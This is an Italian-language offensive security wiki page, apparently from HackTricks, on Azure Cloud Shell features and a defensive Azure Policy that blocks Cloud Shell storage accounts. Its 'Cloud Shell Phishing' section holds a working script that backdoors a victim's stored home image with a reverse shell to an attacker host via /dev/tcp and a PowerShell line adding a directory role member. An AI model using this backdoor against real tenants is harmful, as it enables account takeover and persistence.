# Az - Cloud Shell

{{#include ../../../banners/hacktricks-training.md}}

## Azure Cloud Shell

**Azure Cloud Shell** è un terminale interattivo, autenticato e accessibile tramite browser, progettato per gestire le risorse di Azure, offrendo la flessibilità di lavorare sia con Bash che con PowerShell. Funziona su un host temporaneo, per sessione, che scade dopo 20 minuti di inattività, mentre i file vengono mantenuti nella posizione $HOME utilizzando una condivisione di file da 5 GB. Cloud Shell può essere accessibile attraverso più punti, inclusi il portale Azure, shell.azure.com, la documentazione di Azure CLI e PowerShell, l'app mobile di Azure e l'estensione Azure Account di Visual Studio Code.

Non ci sono permessi assegnati a questo servizio, quindi non ci sono tecniche di escalation dei privilegi. Inoltre, non c'è alcun tipo di enumerazione.

### Caratteristiche principali

- **Strumenti preinstallati**: Cloud Shell include un insieme completo di strumenti preinstallati come Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editor di testo come vim, nano ed emacs. Questi strumenti sono pronti all'uso. Per elencare i pacchetti e i moduli installati puoi usare "Get-Module -ListAvailable", "tdnf list" e "pip3 list".
- **Drive Azure (Azure:)**: PowerShell in Azure Cloud Shell include il drive Azure (Azure:), che consente una navigazione facile delle risorse di Azure come Compute, Network e Storage utilizzando comandi simili a quelli del filesystem. Passa al drive Azure con cd Azure: e torna alla tua directory home con cd ~. Puoi comunque utilizzare i cmdlet di Azure PowerShell per gestire le risorse da qualsiasi drive.
- **Installazione di strumenti personalizzati**: Gli utenti che configurano Cloud Shell con un account di archiviazione possono installare strumenti aggiuntivi che non richiedono permessi di root. Questa funzionalità consente una maggiore personalizzazione dell'ambiente Cloud Shell, permettendo agli utenti di adattare la propria configurazione alle proprie esigenze specifiche.
- **Persistenza di $HOME**: Quando avvii Azure Cloud Shell per la prima volta, puoi usarlo con o senza un account di archiviazione allegato.
- Scegliere di non allegare l'archiviazione crea una sessione effimera in cui i file vengono eliminati al termine della sessione.
- Per mantenere i file tra le sessioni, ti viene data l'opzione di **montare un account di archiviazione**, che si allega automaticamente come `$HOME\clouddrive`, con la tua directory `$HOME` **salvata come file .img in una condivisione di file.**

### Cloud Shell Phishing

Se un attaccante trova le immagini di altri utenti in un Account di Archiviazione a cui ha accesso in scrittura e lettura, sarà in grado di scaricare l'immagine, **aggiungere un backdoor bash e PS in essa**, e caricarla nuovamente nell'Account di Archiviazione in modo che la prossima volta che l'utente accede alla shell, i **comandi verranno eseguiti automaticamente**.

- **Scarica, backdoor e carica l'immagine:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>

# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp

sudo umount /tmp/cloudpoison

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
```
- **Quindi, phishing l'utente per accedere a https://shell.azure.com/**


### Trova e vieta gli account di archiviazione automatici di Cloud Shell

Gli account di archiviazione creati da Cloud Shell sono contrassegnati con **`ms-resource-usage:azure-cloud-shell`**. È possibile creare una politica delle risorse di Azure che disabilita la creazione di risorse con questo tag.

Trova tutti gli account di archiviazione creati da Cloud Shell per tag:
```bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
```
Politica per vietare la creazione di account di archiviazione automatici per l'archiviazione della shell cloud basata su tag:
```json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
```
## Riferimenti

- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)


## Persistenza

{{#ref}}
../az-persistence/az-cloud-shell-persistence.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
